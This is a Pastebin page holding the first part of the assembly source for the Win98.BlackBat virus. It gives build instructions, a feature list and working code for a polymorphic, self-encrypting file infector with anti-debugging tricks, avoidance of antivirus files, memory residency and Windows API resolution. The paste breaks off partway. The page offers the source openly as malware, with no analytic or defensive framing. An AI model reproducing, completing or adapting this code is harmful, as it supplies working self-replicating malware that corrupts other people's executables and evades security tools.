Advertisement
FlyFar

Virus.Win98.BlackBat - Source Code

Jun 20th, 2023
1,637
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
6502 TASM/64TASS 72.97 KB | Cybersecurity | 0 0
  1.  
  2. ;+----------------------------------------------------------------------------+
  3. ;| +------------------------------------------------------------------------+ |
  4. ;| |                                                                        | |
  5. ;| |        \|/                           Win98.BlackBat                    | |
  6. ;| |       (. .)                         ================                   | |
  7. ;| |       ( | )                                                            | |
  8. ;| |       ( v )                  (c) 1999, Rohitab Batra                   | |
  9. ;| |      __| |__                  <sourcecode@rohitab.com>                 | |
  10. ;| |    //               \\                ICQ: 11153794                    | |
  11. ;| |   //                 ^                                                 | |
  12. ;| |   ((====>                    http://www.rohitab.com                    | |
  13. ;| |                                                                        | |
  14. ;| |            Discussion Forum: http://www.rohitab.com/discuss/           | |
  15. ;| |            Mailing List: http://www.rohitab.com/mlist/                 | |
  16. ;| |                                                                        | |
  17. ;| |                                                                        | |
  18. ;| |"Blessed is he who expects nothing, for he shall not be disappointed"   | |
  19. ;| |                                                                        | |
  20. ;| +------------------------------------------------------------------------+ |
  21. ;+----------------------------------------------------------------------------+
  22. ;
  23. ;Compiling (Turbo Assembler)
  24. ;   c:\>tasm32 /ml /m3 /t /w2 /s /p /dDEBUG=1 BlackBat
  25. ;
  26. ;Setting DEBUG=0 will compile the virus in Release mode. In this mode, an error
  27. ;message will be displayed, so that you don't accidently compile in release mode.
  28. ;In Release mode, the size of the Virus will be smaller, and .EXE files will be
  29. ;infected, instead of .XYZ files. In Debug mode, the file NOTEPAD.EXE, if found
  30. ;in the current directory, will be infected.
  31. ;
  32. ;Linking (Turbo Linker)
  33. ;   c:\>tlink32 /x /Tpe /aa /c BlackBat,BlackBat,,IMPORT32.LIB
  34. ;
  35. ;Making Code Section Writable (EditBin from SDK, or any other utility)
  36. ;   c:\>editbin /SECTION:CODE,w BlackBat.EXE
  37. ;
  38. ;***** Info About the Virus *****
  39. ;* If WIN.SYS is found in the root directory, the virus does not infect any file,
  40. ;  and does not become resident.
  41. ;* File time and attributes are restored after infection
  42. ;* Encrypted with a random key
  43. ;* Doesn't infect anti-virus files, NAV, TBAV, SCAN, CLEAN, F-PROT
  44. ;* Anti-Debugging Code
  45. ;* Structured Exception Handling
  46. ;* Decryption engine is Polymorphic
  47. ;
  48. ;***** TODO *****
  49. ;1. Dont infect files with todays date
  50. ;2. Draw Random Bats on the Screen (Use CreateCompatibleBitmap & Get/Set Pixel)
  51. ;3. Doesn't infect files in directories with long file names
  52.  
  53. .386p
  54. .model flat ,stdcall
  55. EXTRN   ExitProcess:PROC            ;Any Imported Fn, so that the first
  56.                                     ;generation copy executes without crashing
  57. .data
  58.         DB ?                        ;Required for TASM, Else will Crash !!??
  59. ;+----------------------------------------------------------------------------+
  60. ;| +------------------------------------------------------------------------+ |
  61. ;| |                                                                        | |
  62. ;| |                        @MESSAGE_BOX Macro                              | |
  63. ;| |                                                                        | |
  64. ;| +------------------------------------------------------------------------+ |
  65. ;+----------------------------------------------------------------------------+
  66. ; Description
  67. ;   -> Displays a MessageBox with the given Message. Note the caption of
  68. ;      the MessageBox is the same as the Message
  69. ;
  70. ; Arguments
  71. ;   -> szMessage: Message to be displayed
  72. ;
  73. ; Return Value:
  74. ;   -> None
  75. ;
  76. ; Registers Destroyed
  77. ;   -> ALL
  78. ;___________________________
  79. @MESSAGE_BOX MACRO szMessage
  80.     IF DEBUG
  81.         @DELTA  esi
  82.         mov     eax, esi
  83.         add     eax, offset szMessage
  84.         call    esi + MessageBoxA, 0, eax, eax, MB_OK OR MB_ICONINFORMATION
  85.     ENDIF
  86. ENDM
  87. ;+----------------------------------------------------------------------------+
  88. ;| +------------------------------------------------------------------------+ |
  89. ;| |                                                                        | |
  90. ;| |                        @DEFINE_API Macro                               | |
  91. ;| |                                                                        | |
  92. ;| +------------------------------------------------------------------------+ |
  93. ;+----------------------------------------------------------------------------+
  94. ; Description
  95. ;   -> Defines an API that will be called by the Virus. The macro is expanded
  96. ;      to the following, if APIName is MessageBoxA:
  97. ;      szMessageBoxA DB "MessageBoxA", 0
  98. ;      MessageBoxA   DD ?
  99. ;
  100. ; Arguments
  101. ;   -> APIName: API to be defined. MUST BE EXACTLY the same as exported by
  102. ;               the DLL. e.g. MessageBoxA
  103. ;
  104. ; Return Value:
  105. ;   -> None
  106. ;
  107. ; Registers Destroyed
  108. ;   -> None
  109. ;
  110. ;________________________
  111. @DEFINE_API MACRO APIName
  112.     sz&APIName  DB "&APIName", 0    ;;ASCIIZ Name of API
  113.     &APIName    DD ?                ;;Storage space for API Address
  114. ENDM
  115. ;+----------------------------------------------------------------------------+
  116. ;| +------------------------------------------------------------------------+ |
  117. ;| |                                                                        | |
  118. ;| |                            @DELTA Macro                                | |
  119. ;| |                                                                        | |
  120. ;| +------------------------------------------------------------------------+ |
  121. ;+----------------------------------------------------------------------------+
  122. ; Description
  123. ;   -> Returns the delta offset in the specified register
  124. ;
  125. ; Arguments
  126. ;   -> Register: register in which the value of the delta offset is copied
  127. ;
  128. ; Return Value:
  129. ;   -> Register: Delta Offset
  130. ;
  131. ; Registers Destroyed
  132. ;   -> Register
  133. ;
  134. ;____________________
  135. @DELTA MACRO Register
  136.     LOCAL   GetIP
  137.     call    GetIP                               ;;This will push EIP on the stack
  138. GetIP:
  139.     pop     Register                            ;;get EIP of current instruction
  140.     sub     Register, offset GetIP              ;;Delta Offset
  141. ENDM
  142. ;+----------------------------------------------------------------------------+
  143. ;| +------------------------------------------------------------------------+ |
  144. ;| |                                                                        | |
  145. ;| |                          @OFFSET Macro                                 | |
  146. ;| |                                                                        | |
  147. ;| +------------------------------------------------------------------------+ |
  148. ;+----------------------------------------------------------------------------+
  149. ; Description
  150. ;   -> Returns the true offset of the specified address. Unlike the offset
  151. ;      keyword, which calculates the address at assembly time, this macro
  152. ;      calculates the address at run-time. This is used to get the correct
  153. ;      offset when the virus has been relocated. Instead of using instructions
  154. ;      like "mov esi, offset szFilename", use "@OFFSET esi, szFilename"
  155. ;
  156. ; Arguments
  157. ;   -> Register: register in which the offset is to be returned
  158. ;   -> Expression: expression whose offset is required
  159. ;
  160. ; Return Value:
  161. ;   -> Register: Correct offset of Expression
  162. ;
  163. ; Registers Destroyed
  164. ;   -> Register
  165. ;
  166. ;_________________________________
  167. @OFFSET MACRO Register, Expression
  168.     LOCAL   GetIP
  169.     call    GetIP                                   ;;This will push EIP on the stack
  170. GetIP:
  171.     pop     Register                                ;;get EIP of current instruction
  172.     add     Register, offset Expression - offset GetIP  ;;True offset
  173. ENDM
  174. ;+----------------------------------------------------------------------------+
  175. ;| +------------------------------------------------------------------------+ |
  176. ;| |                                                                        | |
  177. ;| |                        @GET_API_ADDRESS Macro                          | |
  178. ;| |                                                                        | |
  179. ;| +------------------------------------------------------------------------+ |
  180. ;+----------------------------------------------------------------------------+
  181. ; Description
  182. ;   -> Gets the address of the API, and stores it
  183. ;
  184. ; Arguments
  185. ;   -> APIName:     API whose address is required
  186. ;   -> ESI:         Delta Offset
  187. ;   -> EBX:         Address of GetProcAddress(...)
  188. ;   -> ECX:         Base address of DLL which exports the API
  189. ;
  190. ; Return Value:
  191. ;   -> None
  192. ;
  193. ; Registers Destroyed
  194. ;   -> All Except ESI, EBX and ECX
  195. ;
  196. ;_____________________________
  197. @GET_API_ADDRESS MACRO APIName
  198.     push    ebx                             ;;Save Addr of GetProcAddress(...)
  199.     push    ecx                             ;;Save Image Base
  200.  
  201.     mov     eax, esi
  202.     add     eax, offset sz&APIName          ;;API whose address is required
  203.     call    ebx, ecx, eax                   ;;GetProcAddress(...)
  204.  
  205.     pop     ecx                             ;;Restore Image Base
  206.     pop     ebx                             ;;Restore Addr of GetProcAddress(...)
  207.  
  208.     mov     [esi + APIName], eax            ;;Save API Address
  209. ENDM
  210. ;+----------------------------------------------------------------------------+
  211. ;| +------------------------------------------------------------------------+ |
  212. ;| |                                                                        | |
  213. ;| |    @TRY_BEGIN, @TRY_EXCEPT and @TRY_END Exception Handling Macros      | |
  214. ;| |                                                                        | |
  215. ;| +------------------------------------------------------------------------+ |
  216. ;+----------------------------------------------------------------------------+
  217. ; Description
  218. ;   -> @TRY_BEGIN: This macro is used to install the exception handler. The
  219. ;                  code that follows this is the one that is checked for
  220. ;                  exceptions
  221. ;      @TRY_EXCEPT: The code that follows this is executed if an exception
  222. ;                   occurs.
  223. ;      @TRY_END: This is used to mark the end of the TRY block
  224. ;
  225. ; Example
  226. ;       @TRY_BEGIN ZeroMemory
  227. ;           <CODE1: Code to check for exceptions goes here>
  228. ;       @TRY_CATCH ZeroMemory
  229. ;           <CODE2: Gets executed if an exception occurs in CODE1>
  230. ;       @TRY_END ZeroMemory
  231. ;
  232. ; Arguments
  233. ;   -> Handler: Name of the exception handler. MUST BE UNIQUE throughout the
  234. ;               program
  235. ;
  236. ; Return Value:
  237. ;   -> None
  238. ;
  239. ; Registers Destroyed
  240. ;   -> If an exception occurs, all registers are restored to the state before
  241. ;      the @TRY_BEGIN block, otherwise, no registers are modified
  242. ;_______________________
  243. @TRY_BEGIN MACRO Handler
  244.     pushad                              ;;Save Current State
  245.     @OFFSET esi, Handler                ;;Address of New Exception Handler
  246.     push    esi
  247.     push    dword ptr fs:[0]            ;;Save Old Exception Handler
  248.     mov     dword ptr fs:[0], esp       ;;Install New Handler
  249. ENDM
  250.  
  251. @TRY_EXCEPT MACRO Handler
  252.     jmp     NoException&Handler         ;;No Exception Occured, so jump over
  253. Handler:
  254.     mov     esp, [esp + 8]              ;;Exception Occured, Get old ESP
  255.     pop     dword ptr fs:[0]            ;;Restore Old Exception Handler
  256.     add     esp, 4                      ;;ESP value before SEH was set
  257.     popad                               ;;Restore Old State
  258. ENDM
  259.  
  260. @TRY_END MACRO Handler
  261.     jmp     ExceptionHandled&Handler    ;;Exception was handled by @TRY_EXCEPT
  262. NoException&Handler:                    ;;No Exception Occured
  263.     pop     dword ptr fs:[0]            ;;Restore Old Exception Handler
  264.     add     esp, 32 + 4                 ;;ESP value before SEH was set. 32 for pushad and ...
  265.                                         ;;...4 for push offset Handler. (No Restore State)
  266. ExceptionHandled&Handler:               ;;Exception has been handled, or no exception occured
  267. ENDM
  268. ;+----------------------------------------------------------------------------+
  269. ;| +------------------------------------------------------------------------+ |
  270. ;| |                                                                        | |
  271. ;| |                        @CALL_INT21h Macro                              | |
  272. ;| |                                                                        | |
  273. ;| +------------------------------------------------------------------------+ |
  274. ;+----------------------------------------------------------------------------+
  275. ; Description
  276. ;   -> Makes an INT 21h Call in Protected Mode
  277. ;
  278. ; Arguments
  279. ;   -> Service:     INT 21h Service Number
  280. ;
  281. ; Return Value:
  282. ;   -> None
  283. ;
  284. ; Registers Destroyed
  285. ;   -> Depends on Service called
  286. ;_________________________
  287. @CALL_INT21h MACRO Service
  288.     mov     eax, Service                ;;INT 21h Service
  289.     @DELTA  esi
  290.     call    esi + VxDCall, VWIN32_Int21Dispatch, eax, ecx
  291. ENDM
  292. ;+----------------------------------------------------------------------------+
  293. ;| +------------------------------------------------------------------------+ |
  294. ;| |                                                                        | |
  295. ;| |                            Constants                                   | |
  296. ;| |                                                                        | |
  297. ;| +------------------------------------------------------------------------+ |
  298. ;+----------------------------------------------------------------------------+
  299. ;Win32 Constants
  300.     PAGE_READWRITE              EQU     00000004h
  301.     IMAGE_READ_WRITE_EXECUTE    EQU     0E0000000h
  302.     IMAGE_SCN_MEM_SHARED        EQU     10000000h   ;Section is Sharable
  303.     IMAGE_FILE_DLL              EQU     2000h       ;File is a DLL
  304.     FILE_MAP_ALL_ACCESS         EQU     000F001Fh
  305.     IMAGE_SIZEOF_NT_SIGNATURE   EQU     04h         ;PE00 = 0x00004550, 4 bytes
  306.     NULL                        EQU     0
  307.     TRUE                        EQU     1
  308.     FALSE                       EQU     0
  309.  
  310. ;File Access
  311.     GENERIC_READ                EQU     80000000h   ;Access Mode Read Only
  312.     GENERIC_WRITE               EQU     40000000h   ;Access Mode Write Only
  313.     FILE_SHARE_READ             EQU     00000001h   ;Open Share, Deny Write
  314.     FILE_SHARE_WRITE            EQU     00000002h   ;Open Share, Deny Read
  315.     INVALID_HANDLE_VALUE        EQU     -1
  316.     ERROR_ALREADY_EXISTS        EQU     000000B7h
  317.     FILE_ATTRIBUTE_NORMAL       EQU     00000080h
  318.     OPEN_EXISTING               EQU     3           ;Fail if not found
  319.  
  320. ;Shutdown Options
  321.     EWX_FORCE                   EQU     4
  322.     EWX_SHUTDOWN                EQU     1
  323.  
  324. ;MessageBox
  325.     MB_OK                       EQU     00000000h
  326.     MB_YESNO                    EQU     00000004h
  327.     MB_ICONINFORMATION          EQU     00000040h
  328.  
  329. ;Virus_Constants
  330.     @BREAK                      EQU     int 3
  331.     ;MAX_RUN_TIME               EQU     5*60*60*1000    ;Time we allow windows to run, 5hrs
  332.     VIRUS_SIGNATURE             EQU     08121975h       ;My B'day, 8 Dec 1975
  333.     RESIDENCY_CHECK_SERVICE     EQU     0AD75h          ;Used to check if Virus is resident
  334.     RESIDENCY_SUCCESS           EQU     0812h           ;Value returned if Virus is resident
  335.  
  336. ;VxD Stuff
  337.     VWIN32_Int21Dispatch        EQU     002A0010h
  338.     LFN_OPEN_FILE_EXTENDED      EQU     716Ch
  339.     PC_WRITEABLE                EQU     00020000h
  340.     PC_USER                     EQU     00040000h
  341.     PR_SHARED                   EQU     80060000h
  342.     PC_PRESENT                  EQU     80000000h
  343.     PC_FIXED                    EQU     00000008h
  344.     PD_ZEROINIT                 EQU     00000001h
  345.     SHARED_MEMORY               EQU     80000000h   ;Anything above this is shared
  346.     PageReserve                 EQU     00010000h
  347.     PageCommit                  EQU     00010001h
  348.     PAGE_SIZE                   EQU     4096        ;Size of a Page in Win9x
  349. ;+----------------------------------------------------------------------------+
  350. ;| +------------------------------------------------------------------------+ |
  351. ;| |                                                                        | |
  352. ;| |                            Structures                                  | |
  353. ;| |                                                                        | |
  354. ;| +------------------------------------------------------------------------+ |
  355. ;+----------------------------------------------------------------------------+
  356. FILETIME STRUC
  357.     FT_dwLowDateTime    DD      ?
  358.     FT_dwHighDateTime   DD      ?
  359. FILETIME ENDS
  360.  
  361. IMAGE_DOS_HEADER STRUC                  ;DOS .EXE header
  362.     IDH_e_magic     DW ?                ;Magic number
  363.     IDH_e_cblp      DW ?                ;Bytes on last page of file
  364.     IDH_e_cp        DW ?                ;Pages in file
  365.     IDH_e_crlc      DW ?                ;Relocations
  366.     IDH_e_cparhdr   DW ?                ;Size of header in paragraphs
  367.     IDH_e_minalloc  DW ?                ;Minimum extra paragraphs needed
  368.     IDH_e_maxalloc  DW ?                ;Maximum extra paragraphs needed
  369.     IDH_e_ss        DW ?                ;Initial (relative) SS value
  370.     IDH_e_sp        DW ?                ;Initial SP value
  371.     IDH_e_csum      DW ?                ;Checksum
  372.     IDH_e_ip        DW ?                ;Initial IP value
  373.     IDH_e_cs        DW ?                ;Initial (relative) CS value
  374.     IDH_e_lfarlc    DW ?                ;File address of relocation table
  375.     IDH_e_ovno      DW ?                ;Overlay number
  376.     IDH_e_res       DW 4 DUP (?)        ;Reserved words
  377.     IDH_e_oemid     DW ?                ;OEM identifier (for IDH_e_oeminfo)
  378.     IDH_e_oeminfo   DW ?                ;OEM information; IDH_e_oemid specific
  379.     IDH_e_res2      DW 10 DUP (?)       ;Reserved words
  380.     IDH_e_lfanew    DD ?                ;File address of new exe header
  381. IMAGE_DOS_HEADER ENDS
  382.  
  383. IMAGE_FILE_HEADER STRUC
  384.     IFH_Machine                 DW ?    ;System that the binary is intended to run on
  385.     IFH_NumberOfSections        DW ?    ;Number of sections that follow headers
  386.     IFH_TimeDateStamp           DD ?    ;Time/Date the file was created on
  387.     IFH_PointerToSymbolTable    DD ?    ;Used for debugging information
  388.     IFH_NumberOfSymbols         DD ?    ;Used for debugging information
  389.     IFH_SizeOfOptionalHeader    DW ?    ;sizof(IMAGE_OPTIONAL_HEADER)
  390.     IFH_Characteristics         DW ?    ;Flags used mostly for libraries
  391. IMAGE_FILE_HEADER ENDS
  392.  
  393. IMAGE_DATA_DIRECTORY STRUC
  394.     IDD_VirtualAddress      DD ?
  395.     IDD_Size                DD ?
  396. IMAGE_DATA_DIRECTORY ENDS
  397.  
  398. IMAGE_OPTIONAL_HEADER STRUC
  399.     ;Standard Fields
  400.     IOH_Magic                           DW ?    ;Mostly 0x010B
  401.     IOH_MajorLinkerVersion              DB ?    ;Version of the linker used
  402.     IOH_MinorLinkerVersion              DB ?    ;Version of the linker used
  403.     IOH_SizeOfCode                      DD ?    ;Size of executable code
  404.     IOH_SizeOfInitializedData           DD ?    ;Size of Data Segment
  405.     IOH_SizeOfUninitializedData         DD ?    ;Size of bss Segment
  406.     IOH_AddressOfEntryPoint             DD ?    ;RVA of code entry point
  407.     IOH_BaseOfCode                      DD ?    ;Offset to executable code
  408.     IOH_BaseOfData                      DD ?    ;Offset to initialized data
  409.     ;NT Additional Fields
  410.     IOH_ImageBase                       DD ?    ;Preferred load address
  411.     IOH_SectionAlignment                DD ?    ;Alignment of Sections in RAM
  412.     IOH_FileAlignment                   DD ?    ;Alignment of Sections in File
  413.     IOH_MajorOperatingSystemVersion     DW ?    ;OS Version required to run this image
  414.     IOH_MinorOperatingSystemVersion     DW ?    ;OS Version required to run this image
  415.     IOH_MajorImageVersion               DW ?    ;User specified version number
  416.     IOH_MinorImageVersion               DW ?    ;User specified version number
  417.     IOH_MajorSubsystemVersion           DW ?    ;Expected Subsystem version
  418.     IOH_MinorSubsystemVersion           DW ?    ;Expected Subsystem version
  419.     IOH_Win32VersionValue               DD ?    ;Mostly set to 0
  420.     IOH_SizeOfImage                     DD ?    ;Amount of memory the image will need
  421.     IOH_SizeOfHeaders                   DD ?    ;Size of DOS hdr, PE hdr and Object table
  422.     IOH_CheckSum                        DD ?    ;Checksum (Used by NT to check drivers)
  423.     IOH_Subsystem                       DW ?    ;Subsystem required to run this image
  424.     IOH_DllCharacteristics              DW ?    ;To decide when to call DLL's entry point
  425.     IOH_SizeOfStackReserve              DD ?    ;Size of Reserved Stack
  426.     IOH_SizeOfStackCommit               DD ?    ;Size of initially commited stack
  427.     IOH_SizeOfHeapReserve               DD ?    ;Size of local heap to reserve
  428.     IOH_SizeOfHeapCommit                DD ?    ;Amount to commit in local heap
  429.     IOH_LoaderFlags                     DD ?    ;Not generally used
  430.     IOH_NumberOfRvaAndSizes             DD ?    ;Number of valid entries in DataDirectory
  431.     IOH_DataDirectory                   IMAGE_DATA_DIRECTORY 16 DUP (?)
  432. IMAGE_OPTIONAL_HEADER ENDS
  433.  
  434. IMAGE_EXPORT_DIRECTORY STRUC
  435.     IED_Characteristics         DD ?    ;Currently set to 0
  436.     IED_TimeDateStamp           DD ?    ;Time/Date the export data was created
  437.     IED_MajorVersion            DW ?    ;User settable
  438.     IED_MinorVersion            DW ?
  439.     IED_Name                    DD ?    ;RVA of DLL ASCIIZ name
  440.     IED_Base                    DD ?    ;First valid exported ordinal
  441.     IED_NumberOfFunctions       DD ?    ;Number of entries
  442.     IED_NumberOfNames           DD ?    ;Number of entries exported by name
  443.     IED_AddressOfFunctions      DD ?    ;RVA of export address table
  444.     IED_AddressOfNames          DD ?    ;RVA of export name table pointers
  445.     IED_AddressOfNameOrdinals   DD ?    ;RVA of export ordinals table entry
  446. IMAGE_EXPORT_DIRECTORY ENDS
  447.  
  448. IMAGE_SECTION_HEADER STRUC
  449.     ISH_Name    DB 8 DUP (?)            ;NULL padded ASCII string
  450.     UNION
  451.         ISH_PhysicalAddress     DD ?
  452.         ISH_VirtualSize         DD ?    ;Size that will be allocated when obj is loaded
  453.     ENDS
  454.     ISH_VirtualAddress          DD ?    ;RVA to section's data when loaded in RAM
  455.     ISH_SizeOfRawData           DD ?    ;Size of sections data rounded to FileAlignment
  456.     ISH_PointerToRawData        DD ?    ;Offset from files beginning to sections data
  457.     ISH_PointerToRelocations    DD ?
  458.     ISH_PointerToLinenumbers    DD ?
  459.     ISH_NumberOfRelocations     DW ?
  460.     ISH_NumberOfLinenumbers     DW ?
  461.     ISH_Characteristics         DD ?    ;Flags to decide how section should be treated
  462. IMAGE_SECTION_HEADER ENDS
  463.  
  464. SYSTEMTIME STRUC
  465.     ST_wYear                    DW ?
  466.     ST_wMonth                   DW ?
  467.     ST_wDayOfWeek               DW ?
  468.     ST_wDay                     DW ?
  469.     ST_wHour                    DW ?
  470.     ST_wMinute                  DW ?
  471.     ST_wSecond                  DW ?
  472.     ST_wMilliseconds            DW ?
  473. SYSTEMTIME ENDS
  474. ;+----------------------------------------------------------------------------+
  475. ;| +------------------------------------------------------------------------+ |
  476. ;| |                                                                        | |
  477. ;| |                         Virus Entry Point                              | |
  478. ;| |                                                                        | |
  479. ;| +------------------------------------------------------------------------+ |
  480. ;+----------------------------------------------------------------------------+
  481. .code
  482. ;Decryptor
  483. StartOfVirusCode:
  484.     call    GetDelta
  485. GetDelta:
  486.     DB      5Eh                             ;pop    esi
  487.     DB      83h                             ;add    esi, EncryptedVirusCode - GetDelta
  488.     DB      0C6h
  489.     DB      offset EncryptedVirusCode - offset GetDelta
  490.     DB      0B9h                            ;mov    ecx, ENCRYPTED_SIZE
  491.     DD      ENCRYPTED_SIZE
  492. DecryptByte:
  493.     DB      80h                             ;xor    byte ptr [esi], 00h
  494.     DB      36h
  495. EncryptionKey:
  496.     DB      00h
  497.     DB      46h                             ;inc    esi
  498.     DB      49h                             ;dec    ecx
  499.     jnz     DecryptByte
  500.  
  501. EncryptedVirusCode:             ;Code from this point is encrypted
  502.     jmp WinMain                 ;Goto Main Program
  503. ;+----------------------------------------------------------------------------+
  504. ;| +------------------------------------------------------------------------+ |
  505. ;| |                                                                        | |
  506. ;| |                            Data Area                                   | |
  507. ;| |                                                                        | |
  508. ;| +------------------------------------------------------------------------+ |
  509. ;+----------------------------------------------------------------------------+
  510.     dwKernelBase        EQU 0BFF70000h      ;Base address of KERNEL32.DLL
  511.     dwUserBase          DD ?                ;Base address of USER32.DLL
  512.     szUser32DLL         DB "USER32", 0      ;.DLL Extention is not required
  513.  
  514. ;Host File Variables
  515.     hHostFile           DD ?                ;Handle of host file
  516.     hMappedFile         DD ?                ;Handle of mapped host file
  517.     lpHostFile          DD ?                ;Pointer to mapped host file in memory
  518.     ftLastAccessTime    FILETIME ?          ;Time the file was last accessed
  519.     ftLastWriteTime     FILETIME ?          ;Time the file was last written to
  520.     dwFileAttributes    DD ?                ;File attributes of host file
  521. ;Virus Variables
  522.     szNoInfectFileName  DB "C:\WIN.SYS", 0  ;If this file exists, machine is not infected
  523.  
  524. ;VxD Stuff
  525.     OldInt30            DB 6 DUP (0)
  526.     VxDCall_Busy        DB ?                ;Semaphore
  527.     szOutputFile        DB "C:\VIRUS.TXT", 0
  528.  
  529. ;KERNEL32 API's
  530.     VxDCall             DD ?                ;Exported by ordinal only (Ord 1)
  531.     @DEFINE_API GetProcAddress
  532.     @DEFINE_API CloseHandle
  533.     @DEFINE_API CreateFileA
  534.     @DEFINE_API CreateFileMappingA
  535.     @DEFINE_API GetFileAttributesA
  536.     @DEFINE_API GetFileSize
  537.     @DEFINE_API GetFileTime
  538.     @DEFINE_API GetLocalTime
  539.     @DEFINE_API GetTickCount
  540.     @DEFINE_API LoadLibraryA
  541.     @DEFINE_API MapViewOfFile
  542.     @DEFINE_API SetFileAttributesA
  543.     @DEFINE_API SetFileTime
  544.     @DEFINE_API UnmapViewOfFile
  545.  
  546. ;USER32 API's
  547.     @DEFINE_API ExitWindowsEx
  548.     IF DEBUG
  549.         @DEFINE_API MessageBoxA
  550.     ENDIF
  551.  
  552. ;DEBUG Only Stuff
  553. IF DEBUG
  554.     szHostFileName          DB "NOTEPAD.EXE",0
  555.     szWinMainHandler        DB "Unhandled Exception in WinMain", 0
  556.     szPayLoad               DB "Happy BirthDay :-)", 0
  557.     szInfected              DB "This File is Infected by the BlackBat Virus", 0
  558. ENDIF
  559. ;+----------------------------------------------------------------------------+
  560. ;| +------------------------------------------------------------------------+ |
  561. ;| |                                                                        | |
  562. ;| |                             WinMain                                    | |
  563. ;| |                                                                        | |
  564. ;| +------------------------------------------------------------------------+ |
  565. ;+----------------------------------------------------------------------------+
  566. WinMain PROC
  567.     IFE DEBUG                               ;Only for Release Versions
  568.         cli
  569.         not     esp                         ;Anti-Debug Code ...
  570.         not     esp                         ;...will crash if single-stepped
  571.         sti
  572.     ENDIF
  573.  
  574.     @TRY_BEGIN WinMain_Handler              ;Putting code in protected block
  575.         call    IsVirusActive
  576.         test    eax, eax                    ;Virus Resident ?
  577.         jne     End_WinMain                 ;Yes, return to host
  578.  
  579.         ;Get Addresses of all Required API's
  580.         call    GetAPIAddresses             ;Get the addresses of the other API's
  581.         test    eax, eax                    ;Error occured ?
  582.         jz      End_WinMain                 ;Transfer control to host
  583.  
  584.         IF DEBUG
  585.             @MESSAGE_BOX szInfected
  586.             @OFFSET ebx, szHostFileName
  587.             call    InfectFile, ebx
  588.         ENDIF
  589.  
  590.         ;Check if this Machine is to be Infected
  591.         call    CanMachineBeInfected        ;Is this my machine
  592.         test    eax, eax
  593.         jz      End_WinMain                 ;Yes, so don't infect
  594.  
  595.         ;Relocate Virus (Make Resident)
  596.         call    RelocateVirus
  597.         or      eax, eax                        ;Virus Relocated?
  598.         je      End_WinMain                     ;No
  599.  
  600.         ;Jump to Relocated Virus Copy
  601.         @OFFSET ebx, StartOfVirusCode               ;Start of Virus in Non-Relocated Copy
  602.         add     eax, offset RelocatedVirus - offset StartOfVirusCode
  603.         jmp     eax                             ;Control will go to Relocated Copy
  604.  
  605.         ;This part is the Relocated Copy of the Virus in Shared Memory
  606. RelocatedVirus:
  607.         ;When a file is infected, the CALL instruction at label ReturnToHost is
  608.         ;replaced by a JMP XXXXXXXX instruction. Since the virus has been relocated,
  609.         ;this JMP instruction will point to some invalid location. We need to modify
  610.         ;this, so that the JMP points to the host program (which was not relocated)
  611.  
  612.         ;The offset of Calculate_Offset_Instruction in the non-relocated virus was
  613.         ;saved in EBX before jumping here. Now we calculate the offset in the relocated
  614.         ;virus (this copy).
  615.  
  616.         @DELTA  eax
  617.         mov     esi, eax                        ;Save Delta Offset
  618.         add     eax, offset StartOfVirusCode    ;Start of Virus in Relocated Copy
  619.         sub     eax, ebx                        ;Difference in offsets
  620.  
  621.         ;We now subtract this difference from the offset specified in the JMP
  622.         ;instruction, and update the JMP instruction to point to the correct location
  623.         ;in memory
  624.  
  625.         add     esi, offset ReturnToHost + 1    ;Point to operand of JMP instruction
  626.         sub     [esi], eax                      ;Fix JMP instruction
  627.  
  628.         call    InstallHookProcedure
  629.  
  630. End_WinMain:
  631.     @TRY_EXCEPT WinMain_Handler
  632.         @MESSAGE_BOX szWinMainHandler
  633.     @TRY_END WinMain_Handler
  634.  
  635. ReturnToHost:
  636.     DB 0E9h, 00, 00, 00, 00             ;JMP instruction used for passing control
  637.                                         ;to the host. The address of this JMP
  638.                                         ;instruction is calculated at run-time
  639.     ;ret                                ;Not required, since control is transfered to host
  640. WinMain ENDP
  641. ;+----------------------------------------------------------------------------+
  642. ;| +------------------------------------------------------------------------+ |
  643. ;| |                                                                        | |
  644. ;| |                          GetAPIAddresses                               | |
  645. ;| |                                                                        | |
  646. ;| +------------------------------------------------------------------------+ |
  647. ;+----------------------------------------------------------------------------+
  648. ; Description
  649. ;   -> Finds the Address of the API's to be used by the virus
  650. ;
  651. ; Arguments
  652. ;   -> None
  653. ;
  654. ; Return Value:
  655. ;   -> EAX: 1, if the API addresses were found, 0 otherwise
  656. ;
  657. ; Registers Destroyed
  658. ;   -> All
  659. ;___________________
  660. GetAPIAddresses PROC
  661.     call    GetAddressOfKernelAPI, 1    ;Get Address Of GetProcAddress
  662.     test    eax, eax                    ;Found Address ?
  663.     jz      End_GetAPIAddresses         ;No, Return 0
  664.  
  665. ;Get addresses of all required KERNEL32 API's
  666. ;ESI = Delta Offset
  667. ;EBX = Address of GetProcAddress(...)
  668. ;ECX = Image Base of KERNEL32.DLL
  669.     @DELTA  esi
  670.     mov     ebx, eax                    ;Address of GetProcAddress(...)
  671.     mov     ecx, dwKernelBase           ;Base address of KERNEL32.DLL
  672.     @GET_API_ADDRESS CloseHandle
  673.     @GET_API_ADDRESS CreateFileA
  674.     @GET_API_ADDRESS CreateFileMappingA
  675.     @GET_API_ADDRESS GetFileAttributesA
  676.     @GET_API_ADDRESS GetFileSize
  677.     @GET_API_ADDRESS GetFileTime
  678.     @GET_API_ADDRESS GetLocalTime
  679.     @GET_API_ADDRESS GetTickCount
  680.     @GET_API_ADDRESS LoadLibraryA
  681.     @GET_API_ADDRESS MapViewOfFile
  682.     @GET_API_ADDRESS SetFileAttributesA
  683.     @GET_API_ADDRESS SetFileTime
  684.     @GET_API_ADDRESS UnmapViewOfFile
  685.  
  686. ;Load USER32.DLL
  687.     push    ebx                             ;Save address of GetProcAddress(...)
  688.  
  689.     mov     eax, esi                        ;Delta Offset
  690.     add     eax, offset szUser32DLL         ;Name of DLL to be loaded
  691.     call    esi + LoadLibraryA, eax
  692.     mov     ecx, eax                        ;Base address of USER32.DLL
  693.  
  694.     pop     ebx                             ;Restore address of GetProcAddress(...)
  695.  
  696. ;Get addresses of all required USER32 API's
  697. ;ESI = Delta Offset
  698. ;EBX = Address of GetProcAddress(...)
  699. ;ECX = Image Base of USER32.DLL
  700.  
  701.     @GET_API_ADDRESS ExitWindowsEx
  702.     IF DEBUG
  703.         @GET_API_ADDRESS MessageBoxA
  704.     ENDIF
  705.  
  706. End_GetAPIAddresses:
  707.     ret
  708. GetAPIAddresses ENDP
  709. ;+----------------------------------------------------------------------------+
  710. ;| +------------------------------------------------------------------------+ |
  711. ;| |                                                                        | |
